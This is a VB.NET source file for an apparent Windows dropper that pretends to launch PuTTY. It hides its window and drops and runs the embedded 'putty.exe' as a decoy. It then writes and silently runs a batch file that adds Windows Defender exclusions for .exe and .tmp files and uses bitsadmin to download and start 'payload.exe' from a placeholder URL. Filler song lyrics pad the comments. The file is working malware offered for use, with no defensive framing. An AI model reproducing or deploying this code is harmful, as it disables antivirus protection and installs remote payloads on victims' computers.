Form1.vb

Imports System.IO


Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Hide()
        Me.Opacity = 0
        Me.ShowInTaskbar = False



        Dim Ressourcl() As Byte = My.Resources.putty



        FileOpen(1, Environ("tmp") & "\putty.exe", OpenMode.Binary) 'here insert exe name
        FilePut(1, Ressourcl)
        FileClose(1)
        Dim files As String = Environ("tmp") & "\putty.exe" 'here insert exe file name
        Dim process As Process = Process.Start(files)

        System.Threading.Thread.Sleep(230000)




        Dim file As System.IO.StreamWriter
        Dim appDataPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
        Dim FullFileName As String = Path.Combine(appDataPath, "notes.bat")
        file = My.Computer.FileSystem.OpenTextFileWriter(FullFileName, True)
        ' ਗੱਡੀ Lamborghini ਪੀਲੇ ਰੰਗ ਦੀ
        'ਮੈਨੂੰ ਕਹਿੰਦੀ ਐ, "ਚਲਾ ਵੇ slowly"
        'ਓ, ਪਹਿਲੇ gear 'ਤੇ ਉਹ ਜਦੋਂ ਮੋੜਦੀ
        ' ਉਹ ਮੈਨੂੰ ਲਗਨੀ ਐ the one And only (aye, aye)
        'ਵਿਚਾਰੇ ਮੁੰਡਿਆਂ ਦੇ ਦਿਲਾਂ ਦੀ ਤੂੰ ਕਾਤਿਲ
        'ਵਿਖਾ ਦੇ ਮੈਨੂੰ ਕਿਵੇਂ ਜਾਵੇਂਗੀ ਤੂੰ faster
        ' ਦਾਬ ਦੇ ਤੂੰ gas ਨੀ ਵੇ little bit harder
        'A bit harder, yo
        'I 'm a rider, provider
        'Bring the heat, girl
           'ਮੈਨੂੰ ਕਹਿੰਦੀ ਐ, "ਚਲਾ ਵੇ slowly"
        'ਓ, ਪਹਿਲੇ gear 'ਤੇ ਉਹ ਜਦੋਂ ਮੋੜਦੀ
        ' ਉਹ ਮੈਨੂੰ ਲਗਨੀ ਐ the one And only (aye, aye)
        'ਵਿਚਾਰੇ ਮੁੰਡਿਆਂ ਦੇ ਦਿਲਾਂ ਦੀ ਤੂੰ ਕਾਤਿਲ
        'ਵਿਖਾ ਦੇ ਮੈਨੂੰ ਕਿਵੇਂ ਜਾਵੇਂਗੀ ਤੂੰ faster
        ' ਦਾਬ ਦੇ ਤੂੰ gas ਨੀ ਵੇ little bit harder
        'A bit harder, yo
        'I 'm a rider, provider
        'Bring the heat, girl
           'ਮੈਨੂੰ ਕਹਿੰਦੀ ਐ, "ਚਲਾ ਵੇ slowly"
        'ਓ, ਪਹਿਲੇ gear 'ਤੇ ਉਹ ਜਦੋਂ ਮੋੜਦੀ
        ' ਉਹ ਮੈਨੂੰ ਲਗਨੀ ਐ the one And only (aye, aye)
        'ਵਿਚਾਰੇ ਮੁੰਡਿਆਂ ਦੇ ਦਿਲਾਂ ਦੀ ਤੂੰ ਕਾਤਿਲ
        'ਵਿਖਾ ਦੇ ਮੈਨੂੰ ਕਿਵੇਂ ਜਾਵੇਂਗੀ ਤੂੰ faster
        ' ਦਾਬ ਦੇ ਤੂੰ gas ਨੀ ਵੇ little bit harder
        'A bit harder, yo
        'I 'm a rider, provider
        'Bring the heat, girl


        file.WriteLine("")
        file.WriteLine("powershell.exe -command ""Add-MpPreference -ExclusionExtension .tmp """)
        file.WriteLine("")
        file.WriteLine("powershell.exe -command ""Add-MpPreference -ExclusionExtension .exe """)
        file.WriteLine("")
        file.WriteLine("bitsadmin /transfer Explorers /download /priority FOREGROUND https://direct-url-for-payload/xxx.exe   %temp%\payload.exe")
        file.WriteLine("")
        file.WriteLine("cd %TEMP%")
        file.WriteLine("")
        file.WriteLine("timeout 15")

        file.WriteLine("")

        file.WriteLine("start payload.exe")
        file.Close()


        'I will bring the fire
        'And my name keeps going worldwide
        ' So My job Is To satisfy ya (ah-ah, aye)
        'Ah-ah, ah - ah, aye - aye
        'Ah-ah, ah - ah, aye
        '(Ah-ah, ah-ah, aye-aye) To satisfy ya
        'Ah-ah, ah - ah, aye
        'Ah-ah, ah - ah, aye - aye

        Shell("cmd /c "" cd %APPDATA% &&  notes.bat """, AppWinStyle.Hide, True)











    End Sub


End Class